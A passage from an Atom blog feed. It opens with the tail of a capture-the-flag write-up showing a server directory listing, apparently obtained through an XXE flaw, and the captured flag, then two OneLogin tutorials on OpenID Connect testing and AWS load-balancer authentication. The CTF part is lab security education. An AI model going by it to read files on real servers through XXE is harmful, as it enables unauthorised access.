2016&lt;&#x2F;span&gt;&lt;span&gt; sbin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   2&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Jan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; srv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;rwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   67&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; start&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;apache2&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;rwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   29&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; start&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;mysqld&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  13&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;    0&lt;&#x2F;span&gt;&lt;span&gt; Jan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 19&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;06&lt;&#x2F;span&gt;&lt;span&gt; sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxrwxrwt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Jan&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 27&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 03&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;30&lt;&#x2F;span&gt;&lt;span&gt; tmp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span&gt; usr&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;drwxr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;xr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   1&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span&gt; root&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 4096&lt;&#x2F;span&gt;&lt;span&gt; Feb&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 15&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;  2016&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; var&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The flag was inside the &lt;strong&gt;da0f72d5d79169971b62a479c34198e7&lt;&#x2F;strong&gt; file, so we just cat the file and got the solution: &lt;strong&gt;f#{1_d0nt_kn0w_wh4t_i4m_d01ng}&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And that’s it!  This was a fun CTF to play. We also learned a lot on how a vulnerable XML parser can lead to XXE and what are the implications for that security vulnerability.&lt;&#x2F;p&gt;
&lt;p&gt;Happy hacking.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>3 Easy Steps to Inspect Claims &amp; Test OpenID Connect Flows</title>
        <published>2018-11-14T00:00:00+00:00</published>
        <updated>2018-11-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/openidconnect-inspector/"/>
        <id>https://developers.onelogin.com/blog/openidconnect-inspector/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/openidconnect-inspector/">&lt;p&gt;If you’re starting out with &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&quot;&gt;OpenId Connect (OIDC)&lt;&#x2F;a&gt;, it can be confusing as to which flow you should use and what values you can expect to be returned.&lt;&#x2F;p&gt;
&lt;p&gt;We’ve made life easier for you with a new &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&#x2F;inspector&quot;&gt;OpenId Connect Inspector&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;openidconnect-inspector.png&quot; alt=&quot;OpenID Connect Inspector&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The Inspector is quick to configure and enables you to try out the Implicit or Authorization Code flows using your own OneLogin OpenId Connect applications.&lt;&#x2F;p&gt;
&lt;p&gt;All of the request and response details are displayed, making it easier to see how a request should be formatted and help you debug other applications.&lt;&#x2F;p&gt;
&lt;p&gt;You can also change values like the &lt;strong&gt;scope&lt;&#x2F;strong&gt;, and see how that will affect the &lt;strong&gt;claims&lt;&#x2F;strong&gt; returned in the &lt;strong&gt;id_token&lt;&#x2F;strong&gt;. Here’s how to get started.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-1-create-an-application&quot;&gt;Step 1. Create an application&lt;&#x2F;h3&gt;
&lt;p&gt;In order to use the Inspector you will need a OneLogin account with an OpenId Connect app setup and assigned to your user. You can &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&#x2F;connect-to-onelogin&quot;&gt;find out more information about setting up an OIDC app here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;When you setup your OIDC app be sure to the set the Redirect URI to the following:
&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&#x2F;inspector&quot;&gt;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&#x2F;inspector&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;oidc-start.png&quot; alt=&quot;OIDC app setup&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-2-setup-the-inspector&quot;&gt;Step 2. Setup the Inspector&lt;&#x2F;h3&gt;
&lt;p&gt;To use the Inspector the first thing you need to do is create a Client.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;To do this, click on the &lt;strong&gt;“Clients”&lt;&#x2F;strong&gt; menu item and then click &lt;strong&gt;“Add a Client”&lt;&#x2F;strong&gt;.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Now enter the Client ID and Client Secret for the app you created in step 1.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;You can add multiple client apps so it’s also helpful to give the client a name. This makes it easier to identify which one you are using when building requests.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;oidc-add-client.png&quot; alt=&quot;Add a new OIDC client&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-3-make-an-authentication-request&quot;&gt;Step 3. Make an authentication request&lt;&#x2F;h3&gt;
&lt;p&gt;With the setup steps now complete you’re all set to build a request and start an authentication flow.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Click on the &lt;strong&gt;“OpenId Connect Inspector”&lt;&#x2F;strong&gt; menu item to get started.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Now select the &lt;strong&gt;Issuer&lt;&#x2F;strong&gt; region for your OneLogin account.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;You will see the &lt;strong&gt;Client&lt;&#x2F;strong&gt; that you just created is selected. If you have multiple clients, then select the one that you want to use.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;When you select the &lt;strong&gt;Grant Type&lt;&#x2F;strong&gt; that you want to test you will notice that the URL in the Request Preview panel changes. This is the URL that will be used to start the flow.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;If testing the Authorization Code Grant, set the &lt;strong&gt;Token Authentication Method&lt;&#x2F;strong&gt; to match the setting of the same name in your OneLogin OIDC application.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Finally you can alter the &lt;strong&gt;Scope&lt;&#x2F;strong&gt; value to control the claims that are returned in the id_token. For example if you wanted to include all user profile information you would add the “profile” scope to the Scope field.
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;oidc-authenticate.png&quot; alt=&quot;Ready to authenticate&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;When you’re ready to start the flow, click the &lt;strong&gt;“Authenticate”&lt;&#x2F;strong&gt; button to redirect your browser to your OneLogin login page.
&lt;br&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Once you have successfully authenticated you will be redirected back to the inspector and the id_token will be displayed in the Response section.&lt;&#x2F;p&gt;
&lt;p&gt;If you are testing the Authorization Code flow, an additional Request Preview tab will be displayed which shows you the content of the POST request that needs to be made to complete the second step in the flow.  Clicking the &lt;strong&gt;“Get Access Token”&lt;&#x2F;strong&gt; button will trigger the request and if successful, the ID Token, Access Token, and Refresh Token will be displayed.&lt;&#x2F;p&gt;
&lt;p&gt;Lastly, if you submit invalid parameters or have other configuration errors they will be displayed too.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;oidc-errors.png&quot; alt=&quot;OIDC invalid parameters or other configuration errors&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So there you have it. A simple tool for testing and inspecting your OpenId Connect flows. Enjoy!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;developer-signup&quot;&gt;Get started with your OneLogin Developer account.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Securing applications with AWS ALB and OpenId Connect</title>
        <published>2018-10-18T00:00:00+00:00</published>
        <updated>2018-10-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/aws-alb-openid-connect/"/>
        <id>https://developers.onelogin.com/blog/aws-alb-openid-connect/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/aws-alb-openid-connect/">&lt;style&gt;
.blog-border {
    border: 1px solid #D5D5D5;
    padding: 10px;
    border-radius: 3px;
}
.blog-border.code {
    background: #f3f3f4;
    margin-bottom: 15px;
}
&lt;&#x2F;style&gt;
&lt;p&gt;A smart feature of the AWS Application Load Balancer (ALB) is the ability to authenticate a user via &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;pages&#x2F;openid-connect&quot;&gt;OpenId Connect&lt;&#x2F;a&gt; before proxying requests to application servers.&lt;&#x2F;p&gt;
&lt;p&gt;This is really useful if you don’t want to modify an application to add user authentication, but want to quickly restrict access, add &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product&#x2F;multi-factor-authentication&quot;&gt;multi-factor authentication&lt;&#x2F;a&gt;, or enable &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product&#x2F;sso&quot;&gt;single sign-on&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;From start to finish, this should only take about 10-â€“15 minutes - or possibly even faster if you already have an application up and running.&lt;&#x2F;p&gt;
&lt;p&gt;Here’s everything you need to know.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;AWS account&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;free-trial&quot;&gt;OneLogin account&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Registered domain name for your application
&lt;br&gt;&lt;br&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;step-1-create-an-application-in-aws&quot;&gt;Step 1: Create an application in AWS&lt;&#x2F;h3&gt;
&lt;p&gt;If you already have an application in AWS, move to Step 2. If not, launch an EC2 instance and enable a web server on it:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Go to the &lt;strong&gt;EC2&lt;&#x2F;strong&gt; section of your AWS admin console.&lt;&#x2F;li&gt;
&lt;li&gt;Click the &lt;strong&gt;Launch Instance&lt;&#x2F;strong&gt; button.&lt;&#x2F;li&gt;
&lt;li&gt;Select an &lt;strong&gt;Amazon Linux AMI&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Configure instance details, VPC, security groups for SSH and HTTP, etc.
&lt;br&gt;&lt;br&gt;
If you need more help configuring your instance, see &lt;a href=&quot;https:&#x2F;&#x2F;docs.aws.amazon.com&#x2F;quickstarts&#x2F;latest&#x2F;vmlaunch&#x2F;step-1-launch-instance.html&quot; target=&quot;_blank&quot;&gt;Amazon’s documentation to launch an EC2 instance&lt;&#x2F;a&gt;.
Launch your instance. Turn SSH on, update the instance, and install Apache using the below code:
&lt;br&gt;&lt;br&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;div class=&quot;blog-border code&quot;&gt;&lt;pre&gt;&lt;code class=&quot;prettyprint lang-js&quot;&gt;&gt; sudo yum update -y
&gt; sudo yum install -y httpd24 php56
&gt; sudo service httpd start
&lt;&#x2F;pre&gt;&lt;&#x2F;code&gt;&lt;&#x2F;div&gt;
&lt;p&gt;You can now visit the public DNS name for your EC2 instance and see the default Apache web server test page.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-test.png&quot; alt=&quot;Default Apache web server test page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-2-create-an-aws-application-load-balancer-alb&quot;&gt;Step 2: Create an AWS application load balancer (ALB)&lt;&#x2F;h3&gt;
&lt;p&gt;Next, create a load balancer that accepts HTTPS requests and forwards them to the EC2 instance.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;configure-load-balancer&quot;&gt;Configure load balancer&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Load Balancers&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Click &lt;strong&gt;Create Load Balancer&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Select &lt;strong&gt;Application Load Balancer&lt;&#x2F;strong&gt;
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-config.png&quot; alt=&quot;Configure load balancer&quot; &#x2F;&gt;
&lt;br&gt;&lt;br&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Name your new load balancer and change the listener to HTTPS. Then, select the availability zones in which the EC2 instance resides.
&lt;br&gt;&lt;br&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;select-a-certificate&quot;&gt;Select a certificate&lt;&#x2F;h4&gt;
&lt;p&gt;Since we’re using HTTPS, select a certificate. Use an existing one or request a new one via AWS.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-security.png&quot; alt=&quot;Configure Security Settings&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;create-a-target-group&quot;&gt;Create a target group&lt;&#x2F;h4&gt;
&lt;p&gt;Next, create a target group to contain the EC2 instances that run the application. Name the group and keep the default settings (you may need to change the port number or other details depending on your instance configuration).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-routing.png&quot; alt=&quot;Configure routing&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;register-instances&quot;&gt;Register instances&lt;&#x2F;h4&gt;
&lt;p&gt;Select the EC2 instances to include in the target group and click &lt;strong&gt;Add to registered&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-targets.png&quot; alt=&quot;Register Targets&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-3-setup-a-cname-for-the-alb&quot;&gt;Step 3: Setup a CNAME for the ALB&lt;&#x2F;h3&gt;
&lt;p&gt;Once you have completed the ALB setup wizard, copy its public DNS record and map it to a CNAME in your DNS provider. The CNAME you choose should be on the same domain as the SSL certificate you specified during the ALB setup.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-4-test&quot;&gt;Step 4: Test&lt;&#x2F;h3&gt;
&lt;p&gt;After waiting a few minutes for your DNS changes to propagate, enter your application’s CNAME address into a browser window to test. The browser should return the same Apache test page from Step 1.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-5-create-an-openid-connect-application-in-onelogin&quot;&gt;Step 5: Create an OpenId Connect application in OneLogin&lt;&#x2F;h3&gt;
&lt;p&gt;You now have an application running behind an ALB, so the next step is to add user authentication. To do this, create an application via the OneLogin admin portal.&lt;&#x2F;p&gt;
&lt;p&gt;On the &lt;strong&gt;Apps&lt;&#x2F;strong&gt; tab, click &lt;strong&gt;Add App&lt;&#x2F;strong&gt;.
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-app.png&quot; alt=&quot;Click Add app button&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Search for OIDC and select the OpenId Connect (OIDC) app.
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-find-apps.png&quot; alt=&quot;Find Applications search box&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Give the app a name and click &lt;strong&gt;Save&lt;&#x2F;strong&gt;.
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-save-app.png&quot; alt=&quot;Find Applications search box&quot; &#x2F;&gt;
&lt;br&gt;&lt;br&gt;
On the Configuration tab, enter the CNAME address that you created in Step 3.  Then set the Redirect URI to the following: &lt;br&gt;&lt;br&gt;
&lt;strong&gt;https:&#x2F;&#x2F;&lt;your application address&gt;&#x2F;oauth2&#x2F;idpresponse&lt;&#x2F;strong&gt;
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-app-conf-uri.png&quot; alt=&quot;Aws Alb App Conf Uri screenshot&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now click &lt;strong&gt;Save&lt;&#x2F;strong&gt; and switch to the &lt;strong&gt;SSO&lt;&#x2F;strong&gt; tab.&lt;&#x2F;p&gt;
&lt;p&gt;Take note of the Client ID and Client Secret, as you will need to enter them into your ALB configuration during the next step.&lt;&#x2F;p&gt;
&lt;p&gt;Set the &lt;strong&gt;Token Endpoint Authentication Method&lt;&#x2F;strong&gt; to &lt;em&gt;POST&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-post.png&quot; alt=&quot;Set to POST&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Click &lt;strong&gt;Save&lt;&#x2F;strong&gt; and assign the app to a OneLogin user for testing purposes.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;step-6-configure-authentication-on-aws-alb&quot;&gt;Step 6: Configure authentication on AWS ALB&lt;&#x2F;h3&gt;
&lt;p&gt;In the final step, add an authentication step to your ALB.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Go to the &lt;strong&gt;Listeners&lt;&#x2F;strong&gt; tab and select &lt;strong&gt;View&#x2F;edit rules&lt;&#x2F;strong&gt;.
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-rules.png&quot; alt=&quot;Select View&#x2F;edit rules&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;In the tab with the pencil icon, click the secondary pencil to edit the rule.
&lt;br&gt;&lt;br&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-edit-rule.png&quot; alt=&quot;Edit rule&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Click &lt;strong&gt;Add action&lt;&#x2F;strong&gt; and select &lt;em&gt;Authenticate&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;aws-alb-authenticate.png&quot; alt=&quot;Authenticate&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You will be given the choice of Amazon Cognito or OIDC. Select OIDC and enter the following values:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Issuer:&lt;&#x2F;strong&gt; https:&#x2F;&#x2F;{subdomain}.onelogin.com&#x2F;oidc&#x2F;2&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Authorization endpoint:&lt;&#x2F;strong&gt; https:&#x2F;&#x2F;{subdomain}.onelogin.com&#x2F;oidc&#x2F;2&#x2F;auth&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Token endpoint:&lt;&#x2F;strong&gt; https:&#x2F;&#x2F;{subdomain}.onelogin.com&#x2F;oidc&#x2F;2&#x2F;token&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;User info endpoint:&lt;&#x2F;strong&gt; https:&#x2F;&#x2F;{subdomain}.onelogin.com&#x2F;oidc&#x2F;2&#x2F;me&lt;&#x2F;p&gt;
